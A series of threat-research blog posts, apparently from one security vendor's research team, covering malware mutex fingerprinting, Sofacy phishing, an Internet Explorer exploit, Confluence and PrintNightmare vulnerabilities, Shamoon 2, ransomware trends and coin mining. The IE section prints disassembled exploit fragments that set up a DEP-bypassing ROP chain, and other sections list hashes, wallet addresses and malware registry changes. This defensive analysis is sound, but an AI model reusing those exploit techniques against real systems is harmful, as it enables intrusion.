We appreciate the cooperation with Samsung Knox team, Google Android Security team, and Amazon Web Services & Lab126 for working with us on verifying and patching this vulnerability.
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Mutex analysis is an often overlooked and useful tool for malware author fingerprinting, family classification, and even discovery.
Far from the hypothesized "huge amount of variability" in mutex names, likely hypothesized due to the seemingly random appearance of them, practical mutex usage is embarrassingly consistent.
In fact, over 15% of all collected worms share a single mutex [2gvwnqjz].
This blog was sourced from the data generated by the WildFire Analytics cloud, which processes thousands of samples a day and provides insights into various characteristics and behaviors of malware worldwide.
But before we get into the details, here is a quick overview of mutexes and why they exist in the first place.
The mutex is the fundamental tool for managing shared resources between multiple threads (or processes).
If you think of the threads as a whole bunch of people in a meeting, all trying to talk at once, a mutex is the baton that gets passed from one person to the next so that there’s only one person talking at a time.
The important thing to understand is what the mutex is really protecting.
In the above example, the resource being protected isn’t the right to speak, as many might think, but rather the ability to listen.
Here’s a more technical example.
Lets say you want to update an Internet Explorer (IE) cookie file, adding a unique identifier for use later.
Naively, what you need to do is read the cookie file in, add your data to what you’ve read, and write the file back to disk.
But what if IE is running and also updating that file?
The worst case, for you, is that both you and IE read the file at the same time but you write your edits first.
This is because IE will completely destroy your edits when it writes its new version of the file over yours.
The solution to this problem is to use a mutex to protect the integrity of the cookie file.
A process that has the mutex knows that while it holds that mutex no other process will be accessing the cookie file.
It can then read, tweak, and write the file without fear of any clobbering by other processes.
Since each shared resource can only have a single mutex effectively protecting it, leveraging that mutex is indication that a program will be using said resource.
In the cookie file example above, just referencing the mutex protecting that file indicates, with extremely high probability, that functionality to change the file exists somewhere in the program.
Any given mutex, and protected functionality, can then be thought of as an independent library of sorts.
Note that while the technical implementation may not expose said functionality as a normal library, such exposure is not necessary for the types of analysis performed here.
That library’s usage can be analyzed in terms of who uses it.
Simply put: malware writers leverage malware specific libraries and groups of like actors will reuse these core libraries when able.
The needle in a haystack problem forever plagues malware research: it’s extremely difficult to find reliable information with malware writers constantly working to undermine or eliminate that information.
But, in the case of mutex analysis, the useful information pretty well slapped us in the face.
As can be clearly seen, mutex 2gvwnqjz1 is strongly associated with malware.
In fact, we have only seen it in malware.
As is equally obvious, not all mutexes offer such dramatic insight.
There are many common mutexes shared across both benign software and malware.
What’s more, they don’t all share millions of uses across both sides of the fence.
In cases such as these the common approach is to use sets of the data, in this case sets of mutexes, to create fingerprints of each sample and then leverage those fingerprints to extract higher confidence classification decisions.
While this avenue of research is being pursued, it suffers from all the traditional challenges of big data research.
In other words, it’s slow going.
In parallel, and to inform better hypothesis for the fingerprint generation, research is being done to determine how far single mutex analysis can take us.
The research is ongoing but the initial results are extremely promising.
The number of times any single mutex is used drops rapidly from the millions of samples down to thousands and from there, even further.
Tens of thousands of the mutexes have been seen in only a single sample each.
This results in a few hundred thousand individual mutexes available for further analysis.
What quickly becomes apparent is that a large majority of the mutexes provide no obvious means to automatically classify them as necessarily indicative of good or bad behavior.
And, unfortunately, the ones, which are reasonably easy for a human to identify, are so for significantly different reasons.
For example,
“autoproto_*”  -- More than 20 mutexes share that preface, offering a natural fingerprint.
“global\setup_028746_mutexitem” -- Associated solely with known malware digital signers.
“defined_setnocandy”  -- After reading mutex names for a few hours this just sticks out like a sore thumb.
Only the first of the examples had the mutex associated with a vast majority of malware samples.
This implies that any fully automated association of a mutex to either benign or malware samples will itself require complex fingerprinting and confidence models.
Full automation is always the ideal but it isn’t always necessary.
With the appropriate tools it’s possible to enable a single researcher to continually review and categorize new mutexes.
The initial classifications to be used are “benign”, “malware”, or “statistical”.
Meaning that the mutex either itself indicates a benign or malware sample, or that the mutex alone is not enough to make a determination and the statistical ratio of benign to malware is the best it can offer.
The backlog of already collected mutexes is too great for a small team of researchers to meaningfully tackle without some kind of ranking system.
Luckily, the most objective piece of data collected about each mutex, how many samples were classified benign vs. malware, has all the information necessary to ensure that the researchers’ tackle the low hanging fruit first.
With over hundreds of thousands of malware associations, this specific mutex is associated exclusively with the Net-worm:W32/Allaple malware family which has been around since 2006 but continues to propagate and reinvent itself through the years.
Though the fact that the malware writer obviously named the mutex by rolling their face on the keyboard made it obvious before we'd done any further analysis that we’d found a unique identifier within the binaries.
This malware is well documented as a powerful polymorphic worm that encrypts itself differently every time it propagates.
The evasive nature of this malware family leads to a different file hash, import hash, and only a 20% average SSDeep hash overlap between the samples.
But because the mutex name is set at compile time, the mutex itself offers a common thread between all of the samples we collected and analyzed.
However, this particular mutex was associated with only a recent subset of the Allaple family.
Unlike many other avenues of research and classification, mutex name based associations provides an almost trivial means of uniquely identifying common code blocks and thereby malware families.
The first thing our researchers noticed was the similarity between this mutex name and the previous one.
While programmatic analysis would have a hard time associating the two, it's obvious to a human that the same face rolling technique was used to name this mutex.
The author simply rolled around a bit more.
Quick follow up analysis revealed that this mutex was also associated with the Allaple malware family.
More interestingly, it was another, non-overlapping, subset of the Allaple family.
Several hypotheses followed directly from this observation.
Absolute proof for a few of these hypotheses may never be realized.
However, and lucky for us, the malware author was arrested in 2010 so several of the hypothesis can be verified.
The first is very likely due to the similarities present in the order of keys hit.
Both begin with “jhd”.
“jh” itself is more common than would be expected given that, with fingers on the home row, it requires the right index finger to move and press another key before any other key is struck.
And “jh” is always followed by a key from the left side of the keyboard.
These unique consistencies make it extremely improbable that two different people named these mutexes.
The second mutex appears to be a concerted effort to make the mutex seem “more random” than the first.
It's immediately obvious that the author didn't move his fingers/hands much while typing the first.
It’s obvious enough that the author likely noticed it when reworking this section of code.
It's highly improbable that one would see the second mutex and make a concerted effort to make it appear “less random”.
And, as can be quickly verified by searching through standard virus detection logs, the mutexes did in fact appear in the hypothesized order.
The third is likely due to the lack of overlap between mutex names.
However, the research necessary to conclusively prove this hypothesis would be very time consuming and provide little other benefit.
The fourth is likely due to the mutexes only appearing in a single malware family.
If this functionality were available in some more open source setting, and was of even moderate quality, we would expect to see it used in other malware families as well.
As this functionality has not migrated outside the Allaple family, either the quality of the code is bad (see: face rolling), or it's simply not available to other malware developers.
The fifth is very likely as a change to the specific functionality these mutexes protect, with every change to any functionality, is simply not a practical method of development.
And indeed, as with the second hypothesis, standard virus detection logs prove that each of these mutexes do span multiple variants of the worm.
Mutex names provide a window into the entire development process and timeline for malware.
Idiosyncrasies of the malware author become apparent, the evolution can be traced, the availability or quality of code deduced, and reuse of functionality made clear with a simple mutex.
No other currently used method of analysis offers such a personal view into malware development.
Mutex name analysis as a whole offers a unique look into the results of any sample classification system and the malware therein.
While the research may never result in a fully automated decision system, it has been proven that researchers employing a hybrid approach to analysis will be able to provide critical and timely information to support the continual improvement of the classification system as a whole.
From edge case to systematic misclassifications, mutex usage is even more generally the canary in a coal mine than was previously realized.
While tedious and time consuming, combing through mutex names did come with more than a few good laughs.
After nearly as much debate as some of the real research, we’ve whittled the list down to our favorites (For the curious, these are all malware mutexes).
Enjoy.
Pluguin - When penguins and wall sockets mate.
Development environments don’t have spell check but, maybe they should.
senna spy rock in rio 2001 virus - Subtlety.
Overwhelming.
There were many variations on this one, Senna’s obviously proud of his work.
chinese-hacker-2 - We’re not sure which is worse: that this is a legitimate signature or a sad frame job.
Either way, somebody needs their computer privileges revoked.
mutexpolesskayaglush*.
*svchost.comexefile\shell\open\command %1 %*@ - Putting shell code in a mutex name is right on the border of brilliant and insane.
We’ll leave that determination to the reader.
mr_coolface - Really, not so much, no.
don't stop me!
i need some money!
- http://www.monster.com/ - don’t say we never did anything for you.
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Overview
Palo Alto Networks Unit 42 threat research team has just uncovered a new set of attacks by the Sofacy group using malicious emails targeting foreign affairs agencies and ministries in North America and Europe, including a European embassy in Moscow.
Given the significant activity attributed to Sofacy, and the new evidence directly targeting the diplomatic community, Palo Alto Networks wants to ensure that foreign affairs agencies around the world understand how the attacks are carried out, and what agencies and personnel can do to protect themselves.
The Sofacy Group (AKA APT28, Grizzly Steppe, Fancy Bear, STRONTIUM, Sednit, Tsar Team, Pawn Storm) is a well-known hacking organization widely reported to be associated with Russia by the US Intelligence Community, numerous media reports and other cybersecurity companies.
Sofacy Group has been associated with many attacks against targets around the world, including the International Olympic Committee (IOC) in 2018, the World Anti-Doping Agency in 2016, the Dutch Safety Board in 2015, and German, French, Ukrainian, and Dutch political and military targets throughout 2014 through 2018.
How the Attacks are Carried Out: Via Email
These attacks begin with an email sent to a carefully chosen target in the agency.
The recent spoofed emails we have seen are forged to appear to come from Jane’s 360 Defense Events to tell the recipient about events coming up in 2018.
The figure below shows an example.
Once the recipient opens the Excel spreadsheet, she or he does have trouble viewing the document: it opens as a blank spreadsheet.
The attackers are relying on the recipient to follow the instruction in the email and click “Enable Content”.
You can see below what the spreadsheet looks like and the enable content button.
Clicking the “Enable Content” button is the key to the attack.
While it makes the text in the spreadsheet visible and so seems to solve the problem, it’s a trick: It’s really running a program that silently installs a program on the system.
This program gives the attackers complete control over the computer and can enable them to copy documents, usernames, passwords, account information and even take screenshots.
How you can protect yourself
There are several things that you can do to help protect against these latest Sofacy attacks and others like it.
With the public awareness of this particular decoy, it is highly likely that the Sofacy group will shift their attacks to spoof emails from a different organization to continue carrying out these attacks.
Additionally, this attack technique is not exclusive to the Sofacy Group.
Therefore, these suggested actions can protect not just against these known attacks but others like it.
An unexpected email message with an attachment that says you should “enable content” has a high likelihood of being malicious in some way.
If you get an email like this, you shouldn’t open the attachment and click “enable content”.
Instead, you should verify that the message and the attachment are legitimate by contacting the sender in some way other than replying to the email (because replying to the email may go back to the attackers who will, of course, say it’s legitimate).
Or, just delete the message and report it to your security team.
Palo Alto Networks Unit 42 regularly researches threats like these and provides information about them on our blog.
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Late last month reports surfaced that a new Internet Explorer vulnerability (CVE-2014-1776) was being exploited in targeted attacks.
The vulnerability allows an attacker to take full control over the system after a user views a web page in their browser.
According to Microsoft, it affects versions of Internet Explorer from version 6 to 11, meaning that almost all IE users are vulnerable to this bug.
This vulnerability is so widespread that Microsoft has released patches to protect Windows XP, for which Microsoft has ended support since April 8, 2014.
Researchers from Palo Alto Networks have investigated this exploit in depth and concluded that this is a Use-After-Free vulnerability that occurs when Internet Explorer tries to reuse a freed CMarkup object.
Attackers can manipulate memory allocations by using JavaScript to allocate an object that is freed before all references to that object are removed.
Once the object is free the Flash file will overwrite a length field in the vector object and allow arbitrary memory access.
After that the exploit uses a ROP chain to overwrite the virtual function table of a sound object to gain full control.
The exploit utilized several advanced exploit techniques to make it almost 100% reliable.
The exploit used in the wild contains two major parts, one is HTML which sets up the page to exploit, and the other is a Flash file which builds the memory layout in IE process and triggers the bug.
Two parts must be combined to ensure a successful attack.
The attack separated critical code into different pieces so that researchers could not reproduce the original exploit until they have both files.
The techniques used in this exploit are similar to those used in other recent attacks.
Last year, exploitation of CVE-2013-3163 targeted Internet Explorer 8 and earlier this year, we found exploitation of CVE-2014-0322 in Internet Explorer 10.
Similarities in each of these exploits indicate that they may have been created by the same author.
All three exploits share the same exploit techniques:
All the Flash files used across the exploits have similar structures and even the same variable names.
For example, they all use the Timer object to check if a Vector object is modified.
The Timers are all set to repeat every one second for 4,096 seconds.
The Vector object is named ‘s’ and the Sound object is named “ss” in the Flash files used in all three exploits.
The following code is snippet from the disassembled ActionScript code of CVE-2014-1776.
Neither of these variables is actually used in this exploit.
If we go back and examine the exploit code for CVE-2013-3163, we see that the string ‘org’ was originally used as the trigger, and the variable ‘found’ was originally used as a flag indicating if the Vector object was modified.
It appears that the attacker reused the code from the earlier exploit and forgot to remove the unnecessary variables.
s[_local28][(((_local41 - _local12) / 4) + 9)] = _local9;
s[_local28][(((_local41 - _local12) / 4) + 10)] = 13078672;
s[_local28][(((_local41 - _local12) / 4) + 11)] = _local7;
s[_local28][(((_local41 - _local12) / 4) + 12)] = 3096481936;
s[_local28][(((_local41 - _local12) / 4) + 13)] = (this.m_longArrBase - 8);
s[_local28][(((_local41 - _local12) / 4) + 14)] = 13078672;
s[_local28][(((_local41 - _local12) / 4) + 15)] = this.m_rawLen;
s[_local28][(((_local41 - _local12) / 4) + 16)] = 3968066955;
s[_local28][(((_local41 - _local12) / 4) + 17)] = 753635372;
The exploit uses the code above to restore the corrupted object and save the stack frame on the heap so that the process would not crash after the exploit is successful.
All three exploits use the same method and similar addresses to achieve that goal, even including the same hard coded assembly and registers.
_local10 = this.m_ZwProtectAddr;
_local41 = _local6;
s[_local28][((((_local6 - _local12) / 4) - 2) - 4)] = (_local41 & 0xFFFFF000);
s[_local28][((((_local6 - _local12) / 4) - 1) - 4)] = 0x3000;
s[_local28][((_local6 - _local12) / 4)] = _local10;
s[_local28][(((_local6 - _local12) / 4) + 1)] = (_local41 + 28);
The code above shows the Flash code setting up the ROP chain to bypass DEP and includes another interesting marker.
Normally programmers begin counting at 0 when referencing arrays, but in all three exploits they began at -2, which is quite unusual.
Additionally, each sample uses a Sound object named ‘snd’ to gain control, and they all invoke the function toString().
The many similarities between these exploits lead us to believe they were written by the same actor or group.
Or at the very least, a common template has been used to craft exploits for the three Internet Explorer vulnerabilities we analyzed.
This re-use of techniques is common among exploits, even if they were not developed by the same group, and Palo Alto Networks employs a unique payload-based signature detection methodology, which is able to look at the behaviors of an exploit to prevent similar attacks in the future.
Palo Alto Networks customers with a Threat Prevention subscription were automatically protected from exploitation of these vulnerabilities:
We suggest customers ensure they are running the latest content version on their devices and apply the patches Microsoft released on May 1, 2014.
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On June 2, Volexity reported that over Memorial Day weekend, they identified suspicious activity on two internet-facing servers running Atlassian’s Confluence Server application.
After analysis of the compromise, Volexity determined the initial foothold was the result of a remote code execution vulnerability in Confluence Server and Data Center.
The details were reported to Atlassian on May 31, and Atlassian has since assigned the issue to CVE-2022-26134.
Based on the security advisory issued by Atlassian, it appears that the exploit is indeed an unauthenticated, remote code execution vulnerability.
If the vulnerability is exploited, threat actors could bypass authentication and run arbitrary code on unpatched systems.
At the time of publication, the Palo Alto Networks attack surface management solution Cortex Xpanse identified 19,707 instances of Confluence Servers that are potentially affected by this CVE.
A patch resolving the issue has been posted by Atlassian.
Palo Alto Networks strongly advises organizations to patch immediately.
Updated June 7 to add additional in-the-wild observations.
Vulnerable Systems
CVE-2022-26134 in the Wild
Cortex Managed Threat Hunting Detections of CVE-2022-26134
Conclusion
Indicators of Compromise
The Palo Alto Networks attack surface management solution Cortex Xpanse found 19,707 instances of Confluence Servers that are potentially affected by this CVE.
The majority of these instances were discovered to reside within the United States, Germany, China and Russia.
Additionally, the Xpanse research team also found 1,251 end-of-life versions of the Confluence Server exposed on the public internet.
Assets running end-of-life software should never be internet-facing.
If an asset cannot be updated to secure versions of software, it should be isolated or decommissioned altogether.
To learn more about the ubiquitous problem of end-of-life software, please refer to the 2022 Cortex Xpanse Attack Surface Threat Report.
Thus far, Unit 42 has noted historical scans being performed by the IP addresses publicly shared by Volexity.
These scans date back as early as May 26, 2022, and target organizations in various industries.
Additionally, a purported proof of concept (PoC) has reached the public domain, increasing the threat this particular vulnerability poses.
The Cortex Managed Threat Hunting team has detected several exploitation attempts.
Among the attempts, we found successful exploitation, which resulted in the Cerber Ransomware attack.
The ransomware was blocked by the Cortex XDR agent.
The Managed Threat Hunting team immediately reported this incident to the customer and continues to monitor our customers using the XQL queries in the following section.
Cortex XDR also includes multiple detections for post-exploitation activities.
Below are details of what was seen in the attempt.
In this case, the process tomcat.exe spawned multiple reconnaissance commands such as: whoami, systeminfo, arp, ipconfig, etc.
On top of that, a Base64-encoded PowerShell command was executed and retrieved a ransomware binary.
In order to confirm the assumption that the above activity is related to CVE-2022-26134, we looked into the Confluence Apache access logs (atlassian-confluence.log) and found the PowerShell execution.
The Cortex Managed Threat Hunting team continues to track any attempts to exploit CVE-2022-26134 across our customers, using Cortex XDR and the XQL queries below.
Palo Alto Networks provides protection against the exploitation of this vulnerability in the following ways:
Additionally, Xpanse has the ability to identify and detect Atlassian Confluence Servers that may be a part of your attack surface or the attack surface of third-party partners connected to your organization.
Xpanse is even able to classify those servers which have not been upgraded to the most recent version.
These abilities will be updated to detect additional instances or versions that are insecure against this CVE.
Existing Xpanse customers can log into Expander and identify their enumerated Atlassian Confluence devices by filtering by “Atlassian Confluence Server” in the Services tab.
As further information emerges or additional detections and protections are put into place, Palo Alto Networks will update this publication accordingly.
During the hunting process, we encountered exploitation attempts that originated from the following IP addresses:
Updated June 13, 2022, at 5:30 a.m. PT.
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Unit 42 researchers have been following the Shamoon 2 attacks closely since November 2016.
To date, Shamoon 2 has unfolded in three separate attack waves on November 11, 2016, November 29, 2016, and January 23, 2017.
Based on our newest research, we can answer a question that many have had about these attacks: how is Shamoon 2 able to enter an organization’s network and spread so widely?
The answer is simple: credential theft.
Credential theft has been known to be a key part of the Shamoon 2 attacks.
What our research is showing that’s new is how the attackers use the credentials once they’ve breached the network.
And from this we can see how credential theft is the keystone of Shamoon 2 attacks; if an organization can prevent credential theft, the Shamoon 2 attacks can’t succeed.
In our research, we’re able to outline that Shamoon 2 enters and spreads through an organization in three stages:
These stages are outlined in the image below.
And that credential theft is a key element in each stage:
It’s also worth noting that credentials are a keystone issue in Shamoon 2 wave 2 too: we saw evidence of targeting an organization’s virtual desktop infrastructure (VDI) solutions with default credentials.
While not stolen credentials, the effect is the same: attackers can use those credentials to abuse otherwise legitimate access and privileges to carry out their attacks.
At this time, we do not have research that explains definitively how the Shamoon 2 attackers have obtained these credentials.
We do believe there is evidence suggestive of a connection between Shamoon 2 and the Magic Hound campaign, which could indicate these two attack campaigns could have worked in conjunction with each other to execute the Shamoon 2 attacks.
We also believe the presence of specific, valid named hosts from the network used in Stage 2 shows they were obtained directly from Active Directory on a domain controller.
This is also suggestive of access to the network through legitimate, stolen credentials.
In one sample we examined, we found a total of 844 hostnames.
This also helps to set context for how widely Disttrack can attempt to spread: 844 systems, each attempting to spread to 256, means that from one distribution server, Shamoon 2 attackers could potentially try to spread Disttrack to 216,064 systems; and that’s not counting if any of those infected systems, in turn, attempts to spread to an additional 256 systems.
Shamoon 2 attacks are very targeted to a specific region.
But it would be a mistake to write-off the threat that Shamoon 2 demonstrates.
Shamoon 2 attackers are using a rudimentary, but effective, distribution system of their own making.
The power of their attack doesn’t lie in the tools they use but in their ability to obtain and abuse legitimate credentials.
This underscores why credential theft is something that organizations should prioritize as a top threat and take steps to understand it and prevent it.
We’ve recently published a new Unit 42 white paper on credential theft that we encourage you to read.
To help customers take steps to better understand and protect against this threat, we’ve posted information in our article PAN-OS Configuration Recommendations to Protect Against Shamoon 2 located in our Threat and Vulnerability Articles section on our Live Community.
You can also join in the discussion in our “About Threat and Vulnerability Discussions” on the Live Community.
Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017
Ignite ’17 Security Conference is a live, four-day conference designed for today’s security professionals.
Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry.
Visit the Ignite website for more information on tracks, workshops and marquee sessions.
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On July 1, 2021, Microsoft released a security advisory for a new remote code execution (RCE) vulnerability in Windows, CVE-2021-34527, referred to publicly as "PrintNightmare.” Security researchers initially believed this vulnerability to be tied to CVE-2021-1675 (Windows Print Spooler Remote Code Execution Vulnerability), which was first disclosed in the Microsoft Patch Tuesday release on June 8, 2021.
Microsoft has since updated the FAQ section of the advisory that shows CVE-2021-34527 is similar but distinct from CVE-2021-1675, which addresses a different but related vulnerability in RpcAddPrinterDriverEx().
All Windows versions are affected by this vulnerability.
Domain controllers, clients and member servers running the Print Spooler service on any Windows version are affected by this vulnerability.
Microsoft has released an out-of-band update with the fixes for versions other than Windows 10 version 1607, Windows Server 2016 or Windows Server 2012.
For these, the security update is expected to be released soon.
Microsoft released an out-of-band security update to address this vulnerability on July 6, 2021.
Please see the Security Updates table for the applicable update for your system.
Administrators are strongly advised to install these updates.
If you are unable to install these updates, see the FAQ and Workarounds sections in the CVE for information on how to help protect your system from this vulnerability.
See also KB5005010: Restricting installation of new printer drivers after applying the July 6, 2021 updates.
Note that the security updates released on and after July 6, 2021, contain protections for CVE-2021-1675 and the additional RCE exploit in the Windows Print Spooler service known as “PrintNightmare,” documented in CVE-2021-34527.
Palo Alto Networks provides protection against the exploitation of this vulnerability:
Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.
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Ransomware is one of the top threats in cybersecurity and a focus area for Palo Alto Networks.
In the current threat landscape, ransom payments are rising and organizations are seeking to protect themselves from threat actors.
In the 2021 Unit 42 Ransomware Threat Report, we detailed the observations and the trend of top ransomware families from January 2020-January 2021.
This post supplements that information based on observations from the first three months of 2021, and will discuss the propagation of different ransomware families we observed in the wild and the different types of extortion used.
We hope the information will help readers get a clear picture of current directions in ransomware trends.
In the first quarter (Q1) of 2021, Unit 42 detected 113 different ransomware families in the wild.
Based on the statistical data, the top 15 ransomware families only cover 52.3% of total ransomware cases.
This demonstrates the diversity of ransomware and emphasizes how difficult it is to expand ransomware detection coverage with static profiling.
Figure 1 shows the proportion of ransomware sample numbers for different families that Unit 42 detected in the wild.
Among all, 6.7% of the ransomware samples are Virlock, which has been active since 2014.
Virlock has the largest number of variants due to its file-infector-like behavior.
Higher malware variant numbers don't necessarily imply a higher prevalence.
Some ransomware families don’t deliver different variants every time, but the infection ratio per sample is high, meaning attackers delivered the same malware to huge numbers of victims.
Figure 2 shows a completely different result from Figure 1 and stems from only counting ransomware samples from cases in which more than five hosts were infected with the same malware.
From this lens, the top three families observed are Ryuk (31.7%), Sodinokibi (20%) and Maze (15%).
Emails are still the most efficient method to deliver and propagate ransomware.
Figure 3 shows ransomware arrives via different application protocols.
The majority of ransomware is delivered by email.
Web browsing is the second most common entry vector for ransomware infections.
The process of delivering malware by a URL can include various techniques.
For example, the URL links can be posted on forums or chat group software, sent by IM applications, offered via fake freeware for download or attached in emails.
Web hosting ransomware can also be downloaded and successfully installed through a multi-layered infection chain among different file types.
For example, AlumniLocker is first delivered as a phishing PDF.
It leads to downloading a ZIP archive that contains an LNK downloader.
This downloads and executes an obfuscated PowerShell script to finally install the ransomware.
Figure 4 breaks down which file types we saw in the course of ransomware detection and their prevalence.
32-bit EXE is the most common ransomware file type we observed.
Other file types are often used as the first stage of infection or downloaders, such as archives, documents and scripts.
Most ransomware is delivered via email with an attached archive; the ransomware is compressed in the archived files with or without password protection.
“Resume” or “portfolio document” are examples of archive file names, and the archive contains one or more pieces of malware with fake document file icons.
One example here is Makop, contained in a 7z archive along with an infostealer malware (SHA256: DE6DFA018773E07C218EF1DF62CE0D99A708841BF1DDFB4C6AD7E323D5D666A4).
A script file is also used to download or install ransomware.
For example, GandCrab uses JScript as a downloader, leveraging Windows Background Intelligent Transfer Service (BITS) to download the payload in the background (Figure 5).
We also observed that Mailto (AKA NetWalker) tends to deliver ransomware in a highly obfuscated PowerShell script.
Exploit documents are seldom seen for delivering ransomware.
One example is an exploit RTF that led to downloading and installing Makop ransomware remotely.
Besides encrypting files on infected hosts, the main feature of ransomware is, of course, the demand for ransom.
Since ransomware threat actors have had years to evolve their techniques, there are now several different ways for attackers to receive payments and provide the "service" they claim to offer.
Usually, after the ransomware successfully installs, it pops up a message box or leaves text files to explain how to pay the ransom – the ransom note.
Some ransomware locks the victim's screen and only displays the ransom note.
Unit 42 has reviewed ransom notes from different ransomware families.
Most ransom notes request payment in cryptocurrency or mention reaching out via the darknet, though some other contact methods also appear.
In these cases, the ransom note asks victims to pay a specific amount in cryptocurrency – Bitcoin (BTC), Monero (XMR), etc.
— to a specific wallet address.
Two ransomware families that utilize these types of ransom notes are Virlock and WanaCrypt0r.
Some ransomware families, including Babuk, Sodinokibi, Cerber, Mailto, Ryuk and others, seldom show the ransom amount or cryptocurrency wallet address.
Instead, they instruct victims to install TOR and reach out to them on the darknet.
Usually, they host a website for victims to input the identification key found in the ransom note, upload encrypted files for decryption – and pay the ransom.
Ransom notes from Makop, Dharma, Ryuk, DearCry and others, sometimes ask victims to reach out to them via email.
The email addresses given are usually from untraceable email accounts.
At other times, a threat actor lets the victim chat with them directly on group chat software.
The victims can find the threat actor’s user name through specific group chat software or follow a chat group link in the ransom note.
Ransom payment operations are complicated and highly automated processes.
Attackers can create a lot of cryptocurrency wallets automatically; they can even make a unique wallet address for each victim.
Once a ransom is received, the ransom will be involved in the multiple transactions that are managed to distribute and aggregate the ransom across thousands of virtual wallets.
For example, the Xorist ransomware (SHA256: 4979A10B81C41ECC0FC3A0F376ADE766CE616D2301639F74E0277047CC40E3D6) demanded £1,000 for a ransom; the bitcoin wallet address was 1BFqrLCDwwrxueY7FFDn8DqeoasPJignxt.
However, this wallet had not really received any ransom payments when the malware was delivered.
The wallet got involved in the operation of mixing and tumbling among several other virtual wallets.
This is a pretty common operation when attackers want to withdraw or disperse currency from ransom payments into other wallets.
During the operation, 25.1 BTC from 538 wallets was sent to 1NDyJtNTjmwk5xPNhjgAMu4HDHigtobu1s (SHA256: CE11703DEF517306326C48A67A7C859A3DE0F18E2451DF226CE171389A5B7953), which is a wallet owned by Binance cryptocurrency exchange.
(ref: Binance on Twitter ).
The 25.1 BTC amount was worth $1.18 million at that time, and now is about $876,000.
Since Virlock only requests a $250 ransom, it does not draw too much public attention.
Other ransomware families, however, target enterprises and ask for multimillion dollar ransoms, which garners much more media attention.
Based on the way Virlock spreads the ransom amount it demands, it is likely designed to target consumers or home users.
After infection, Virlock hides the file extension through modification of the registry (HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = 1, HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden = 2).
The encrypted file icon will look the same as usual, but after opening the infected file, the ransom note will pop up.
Virlock uses, but isn’t limited to, PDF, DOC, PPT, JPG, BMP,GIF, RAR, 7Zip, Zip and EXE files.
Figure 6 is a screenshot of a recently captured Virlock ransom note.
The attacker asked for $250 and required payment as 0.004 BTC (suggesting that at the time the ransom note was written, 1 BTC equaled approximately $62,500).
At the time of infection experiments, 1 BTC equaled approximately $54,649, suggesting that the exchange rate in the ransom note is not updated on the fly.
Some Virlock variants ask for more ransom, such as 0.771 BTC, 1.008 BTC or more.
The top three samples we observed spreading in early 2021 were Ryuk, Maze, and Sodinokibi.
These three contribute 7.2% out of the total infected numbers we collected.
Ryuk will change the infected file extension to .RYK, and leave a ransom note called RyukReadMe.html.
One of the reasons Ryuk causes so much damage is because it will scan the local network and try to infect other machines through Server Message Block (SMB) protocols.
Ryuk will even send out Wake-on-LAN packets to wake up systems that have been configured with this feature.
In this research, we discussed ransomware family trends we observed in the first three months of 2021.
First, we reviewed the trends from prevalent ransomware families, then we discussed the most common file types used as attack vectors leveraged by ransomware.
Lastly, we gave an example of ransom operations and updates about top ransomware families.
Ransomware threats are a serious challenge.
Employing effective backup strategies and disaster recovery procedures is important.
Palo Alto Networks customers are further protected from ransomware.
Cortex XSOAR can automatically and instantly coordinate with network security, malware analysis and threat management solutions to ensure customers remain protected.
Cortex XDR endpoint protection stops malware, exploits and ransomware before they can compromise endpoints.
With AI-powered Inline analysis, the Next-Generation Firewall stops exploits that lead to infection, and WildFire’s always up-to-date machine learning models monitor behavior to preemptively detect unknown ransomware.
If you think you may have been impacted by ransomware, please email unit42-investigations@paloaltonetworks.com or call (866) 4-UNIT42 to get in touch with the Unit 42 Incident Response team.
Highlights from the 2021 Unit 42 Ransomware Threat Report
Ransomware Threat Assessments: A Companion to the 2021 Unit 42 Ransomware Threat Report
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Overview
As shoppers and retailers gear up for the 2017 holiday season, they need to be aware of a new kind of cybersecurity threat they may face this year: unauthorized coin mining.
Unauthorized coin mining is a new threat that can affect retailers and shoppers in a way that could impact or even halt their online shopping experience.
A recent Unit 42 threat intelligence posting on the topic showed how 63 percent of the unauthorized coin mining sites we found came online in October 2017.
This surge in unauthorized coin mining is driven, in large part, by the recent skyrocketing in the value of digital currencies like bitcoin.
As that trend shows no sign of slowing down anytime soon, we can expect this to remain a very lucrative avenue for attackers.
Unlike other cybersecurity threats we’re used to bracing for around the holiday season, unauthorized coin mining attacks can affect shoppers who are up-to-date with security patches and even some running some security protections.
And unlike spam or phishing, these attacks also don’t require any lapse in vigilance by the user: they can happen simply by going to websites users know and trust.
The good news for retailers is that these attacks are wholly preventable.
And for shoppers, the impact of a successful attack is minimal: there are no lasting effects or impact, making it an annoyance at worst.
But because of the potential impact on holiday shopping and the ease of attacks, unauthorized coin mining is an attack that retailers need to be aware of and take active steps for prevention this holiday season.
What Is Unauthorized Coin Mining?
The best way to understand the threat of unauthorized coin mining is to first understand its impact.
Unauthorized coin mining is an attack that can cause a user’s system to suddenly and unexpectedly slow down, sometimes significantly, when visiting a website.
In a worst case, the slow-down can be so severe that it can make a website basically unusable.
Obviously, this impact is potentially dire for shoppers and retailers as it directly impacts and harms the online shopping experience.
What causes this impact is when the website the user visits is running “coin miner” code.
“Coin miner” code is code used to “mine” for digital currency like bitcoin.
Mining provides the computing necessary to power the digital currency’s infrastructure.
Mining is also a computationally intensive process, meaning it takes a lot of system resources.
Because of this, people can earn digital currency credit in exchange for the use of their computing resources to power that digital currency’s infrastructure.
There are many kinds of coin mining software.
In this case, we are concerned about coin mining code that’s used on websites.
When the user visits the website, the code runs on their system and “mines” on behalf of others – either the website or someone else.
When this is done with the visitor’s full knowledge and consent, it’s a fair and reasonable exchange.
For instance, there are some websites that now use coin mining as an alternative to digital advertising to generate revenue.
In these cases, the coin mining is authorized; the website informs the user that, while on the site, his or her computing resources will be used to “mine” digital currency, and the site will receive the credits.
While the user will experience a slow-down as the coin mining software is run, it is (or should be) expected, because of the notification, and so done with the site visitor’s consent.
Where this becomes a problem is when coin mining is done without the user’s knowledge and consent.
In this case the coin mining is unauthorized: in essence, it’s an attack against the user’s resources.
How Do Unauthorized Coin Mining Attacks Happen?
Unauthorized coin mining attacks happen very simply: the website the user is visiting has special code on it that performs coin mining operations on the visitor’s computer while they’re on the website.
And, as noted before, this happens without the user’s knowledge or consent.
Because these attacks happen due to code on the website, that code is either there with the site owner’s knowledge and permission or not.
